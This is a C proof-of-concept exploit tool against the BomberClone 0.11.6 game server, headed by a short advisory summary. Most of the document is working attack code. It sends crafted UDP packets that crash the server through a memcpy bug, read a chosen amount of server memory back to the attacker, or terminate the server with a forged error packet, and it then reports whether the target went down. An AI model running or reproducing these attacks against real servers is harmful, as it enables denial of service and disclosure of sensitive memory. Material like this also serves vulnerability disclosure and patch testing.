// source: https://www.securityfocus.com/bid/19255/info Bomberclone is prone to remote information-disclosure and denial-of-service vulnerabilities because it fails to properly sanitize user-supplied input. These issues allow remote attackers to access sensitive information and to crash the application, denying further service to legitimate users. Version 0.11.6 is reported vulnerable; other versions may also be affected. /* by Luigi Auriemma */ #include #include #include #include #include #include "show_dump.h" #ifdef WIN32 #include #include "winerr.h" #define close closesocket #define sleep Sleep #define ONESEC 1000 #else #include #include #include #include #include #include #define ONESEC 1 #endif #define VER "0.1" #define PORT 11000 #define BUFFSZ 0xffff #define LEN_VERSION 20 #define LEN_GAMENAME 32 void show_bomberclone_info(u_char *p); int put08(u_char *data, int num); int get08(u_char *data, int *num); int put16(u_char *data, int num); int get16(u_char *data, int *num); int put32(u_char *data, int num); int get32(u_char *data, int *num); #define putsx(data, src, len) len; strncpy(data - len, src, len); void delimit(u_char *data); int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err); int timeout(int sock, int secs); u_int resolv(char *host); void std_err(void); struct sockaddr_in peer; enum _network_data { PKG_error = 0, PKG_gameinfo, PKG_joingame, // every packet below here will checked // if it comes from a orginal player PKG_contest, PKG_playerid, PKG_servermode, PKG_pingreq, PKG_pingack, PKG_getfield, PKG_getplayerdata, PKG_teamdata, PKG_fieldline, PKG_pkgack, PKG_mapinfo, PKG_tunneldata, PKG_updateinfo, PKG_field, // forward - always be the first field PKG_playerdata, // forward PKG_bombdata, // forward PKG_playerstatus, // forward PKG_playermove, // forward PKG_chat, // forward PKG_ill, // forward PKG_special, // forward PKG_dropitem, // forward PKG_respawn, // forward PKG_quit // forward - always the last known type forwarded type }; enum _pkgflags { PKGF_ackreq = 1, PKGF_ipv6 = 2 }; int main(int argc, char *argv[]) { int sd, attack, len, pcksz; u_short port = PORT; u_char *buff, *p, *t; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif setbuf(stdout, NULL); fputs("\n" "BomberClone <= 0.11.6 bugs "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@autistici.org\n" "web: aluigi.org\n" "\n", stdout); if(argc < 3) { printf("\n" "Usage: %s [port(%hu)]\n" "\n" "Attacks:\n" " 1 = memcpy crash in rscache_add\n" " 2 = information disclosure in send_pkg\n" " 3 = simple error message termination\n" "\n", argv[0], port); exit(1); } attack = atoi(argv[1]); if(argc > 3) port = atoi(argv[3]); peer.sin_addr.s_addr = resolv(argv[2]); peer.sin_port = htons(port); peer.sin_family = AF_INET; printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), ntohs(peer.sin_port)); buff = malloc(BUFFSZ); if(!buff) std_err(); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); p = buff; p += put08(p, PKG_gameinfo); // typ p += put08(p, 0); // flags p += put16(p, 0); // id t = p; p += 2; // len p += put32(p, 0); // timestamp p += put16(p, 0); // ??? unknown p += put08(p, 0); // curplayers p += put08(p, 0); // maxplayers p += putsx(p, "", LEN_GAMENAME); // gamename p += putsx(p, "", LEN_VERSION); // version p += put08(p, 0); // broadcast p += put08(p, -1); // password put16(t, (p - t) - 2); len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 1); close(sd); show_bomberclone_info(buff); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); if(attack == 1) { p = buff; p += put08(p, PKG_gameinfo); p += put08(p, PKGF_ackreq); // required! p += put16(p, 0); p += put16(p, 0xffff); // bug p += put32(p, 0); p += put16(p, 0); p += put08(p, 0); p += put08(p, 0); p += putsx(p, "", LEN_GAMENAME); p += putsx(p, "", LEN_VERSION); p += put08(p, 0); p += put08(p, -1); printf("- send malformed packet\n"); len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 0); } else if(attack == 2) { printf( "- insert the amount of bytes you want to read from the server's memory,\n" " try with 3000 or 3500:\n" " "); fflush(stdin); fgets(buff, BUFFSZ, stdin); pcksz = atoi(buff); p = buff; p += put08(p, PKG_gameinfo); p += put08(p, 0); p += put16(p, 0); p += put16(p, pcksz); // how many memory you want to see? p += put32(p, 0); p += put16(p, 0); p += put08(p, 0); p += put08(p, 0); p += putsx(p, "", LEN_GAMENAME); p += putsx(p, "", LEN_VERSION); p += put08(p, 0); p += put08(p, -1); printf("- send custom info packet (%d 0x%x bytes)\n", pcksz, pcksz); do { len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 0); } while((len > 0) && (buff[0] != PKG_gameinfo)); if(len > 0) show_dump(buff, len, stdout); goto quit; } else { p = buff; p += put08(p, PKG_error); p += put08(p, 0); p += put16(p, 0); t = p; p += 2; p += put08(p, 1); // nr p += putsx(p, "bye bye", 128); // text put16(t, (p - t) - 2); printf("- send error packet\n"); len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 0); } close(sd); sleep(ONESEC); printf("- check server:\n"); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); p = buff; p += put08(p, PKG_gameinfo); p += put08(p, 0); p += put16(p, 0); t = p; p += 2; p += put32(p, 0); p += put16(p, 0); p += put08(p, 0); p += put08(p, 0); p += putsx(p, "", LEN_GAMENAME); p += putsx(p, "", LEN_VERSION); p += put08(p, 0); p += put08(p, -1); put16(t, (p - t) - 2); len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 0); if(len < 0) { printf("\n Server IS vulnerable!!!\n\n"); } else { printf("\n Server doesn't seem vulnerable\n\n"); } quit: close(sd); return(0); } void show_bomberclone_info(u_char *p) { int curplayers, maxplayers; u_char *gamename, *version; p += 12; p += get08(p, &curplayers); p += get08(p, &maxplayers); gamename = p; version = p + LEN_GAMENAME; printf("\n" " server: %.*s\n" " version: %.*s\n" " players: %d/%d\n" "\n", LEN_GAMENAME, gamename, LEN_VERSION, version, curplayers, maxplayers); } int put08(u_char *data, int num) { data[0] = num; return(1); } int get08(u_char *data, int *num) { if(num) { *num = data[0]; } return(1); } int put16(u_char *data, int num) { data[0] = num; data[1] = num >> 8; return(2); } int get16(u_char *data, int *num) { if(num) { *num = data[0] | (data[1] << 8); } return(2); } int put32(u_char *data, int num) { data[0] = num; data[1] = num >> 8; data[2] = num >> 16; data[3] = num >> 24; return(4); } int get32(u_char *data, int *num) { if(num) { *num = data[0] | (data[1] << 8) | (data[2] << 16) | (data[3] << 24); } return(4); } void delimit(u_char *data) { while(*data && (*data != '\n') && (*data != '\r')) data++; *data = 0; } int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err) { int retry, len; if(in && !out) { if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); return(0); } else if(in) { for(retry = 3; retry; retry--) { if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); if(!timeout(sd, 1)) break; } if(!retry) { goto timeout_received; } } else { if(timeout(sd, 3) < 0) { goto timeout_received; } } len = recvfrom(sd, out, outsz, 0, NULL, NULL); if(len < 0) std_err(); return(len); timeout_received: if(err) { printf("\nError: socket timeout, no reply received\n\n"); exit(1); } return(-1); } int timeout(int sock, int sec) { struct timeval tout; fd_set fd_read; int err; tout.tv_sec = sec; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); err = select(sock + 1, &fd_read, NULL, NULL, &tout); if(err < 0) std_err(); if(!err) return(-1); return(0); } u_int resolv(char *host) { struct hostent *hp; u_int host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolv hostname (%s)\n", host); exit(1); } else host_ip = *(u_int *)hp->h_addr; } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif